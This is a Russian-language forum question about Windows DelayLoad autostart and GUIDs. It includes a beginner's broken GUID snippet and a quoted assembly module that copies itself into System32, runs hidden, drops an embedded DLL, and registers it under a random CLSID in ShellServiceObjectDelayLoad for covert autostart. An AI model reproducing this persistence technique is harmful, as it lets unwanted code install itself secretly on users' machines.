Здравствуйте! Хочу разобраца с DelayLoad в Windows 7. Написал такой код, хотел посмотреть какой ID дадут текущему модулю но памойму я делаю всё не правельно, помогите пожалуйста разобраца и поясните зачем вообще нужны GUID и CLSID Код (Text): .686 .model flat,stdcall option casemap:none includelib library\kernel32.lib includelib library\user32.lib includelib library\Ole32.lib GUID STRUCT Data1 dd ? Data2 dw ? Data3 dw ? Data4 db 8 dup(?) GUID ENDS .data? Buff db 260 dup(?) myGUID GUID <> .code start: CoCreateGuid PROTO :DWORD push offset myGUID call CoCreateGuid StringFromCLSID PROTO :DWORD,:DWORD push offset Buff push offset myGUID MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD push 0 push 0 push offset Buff push 0 call MessageBoxA ExitProcess PROTO :DWORD push eax call ExitProcess end start Есть вот такой модуль но он шибко мудреный... :\ Код (Text): include Autorun.inc .data OneStr db "CLSID\",0 TwoStr db "\InProcServer32",0 ThreeStr db "Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad",0 myGUID CLSID <> .data? par1 dd ? par2 dd ? DStr0 db 6670 dup (?) DStr2 db 6670 dup (?) .code RunDLL proc LOCAL hkHandle: DWORD LOCAL hFile: DWORD LOCAL bWritten: DWORD invoke GetSystemDirectory, offset lpBuf1, MAX_PATH+1 invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH+1 invoke lstrcat, offset lpBuf1, addr exename invoke lstrcmp, offset lpBuf1, offset lpBuf2 test eax, eax jz @ret invoke CopyFile, offset lpBuf2, offset lpBuf1, 0 test eax, eax jz @exit @@: invoke ShellExecute, 0, offset szTextOpen, offset lpBuf1, 0, 0, SW_HIDE @exit: invoke ExitProcess, 0 @ret: invoke GetSystemDirectory, offset lpBuf1, MAX_PATH+1 invoke lstrcat,addr lpBuf1, addr dll invoke CreateFile, offset lpBuf1, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0 mov hFile, eax inc eax jz @wend invoke WriteFile, hFile, offset Autorun, AutorunLen, addr bWritten, NULL invoke CloseHandle, hFile @wend: invoke MyClearStr, offset DStr0, 6666 invoke MyClearStr, offset DStr2, 6666 invoke CoCreateGuid, addr myGUID .IF eax == 0 mov par1, offset DStr2 invoke StringFromCLSID, addr myGUID, addr par1 .IF eax == 0 mov par2,0 push edi mov edi, par1 .WHILE TRUE invoke lstrcat, addr DStr0, edi add edi,2 inc par2 .BREAK .IF par2 == 38 .ENDW pop edi .ENDIF .ENDIF invoke MyClearStr, offset DStr2, 6670 invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr hKey mov par1, 1000 mov par2, REG_SZ invoke RegQueryValueEx, hKey, addr szAutoName, NULL, addr par2, addr DStr2, addr par1 invoke lstrlen, addr DStr2 .IF eax < 38 invoke lstrcpy, addr DStr2, addr OneStr invoke lstrcat, addr DStr2, addr DStr0 invoke lstrcat, addr DStr2, addr TwoStr invoke RegCreateKey, HKEY_CLASSES_ROOT, addr DStr2, addr hKey .IF eax == 0 invoke RegSetValueEx, hKey, NULL, NULL, REG_SZ, addr dll, sizeof dll invoke RegCloseKey, hKey .ENDIF invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr hKey .IF eax == 0 invoke RegSetValueEx, hKey, addr szAutoName, NULL, REG_SZ, addr DStr0, 38 invoke RegCloseKey, hKey .ENDIF .ENDIF ret RunDLL endp
Хочу получить вот такой ID для запуска программы через DelayLoad я так понимаю это какой-то индивидуальный номер файла или как?
fragment http://msdn.microsoft.com/ru-ru/library/yx9zd12s.aspx а ShellServiceObjectDelayLoad совсем другое, в гугле полно ссылок на разные форумы с решением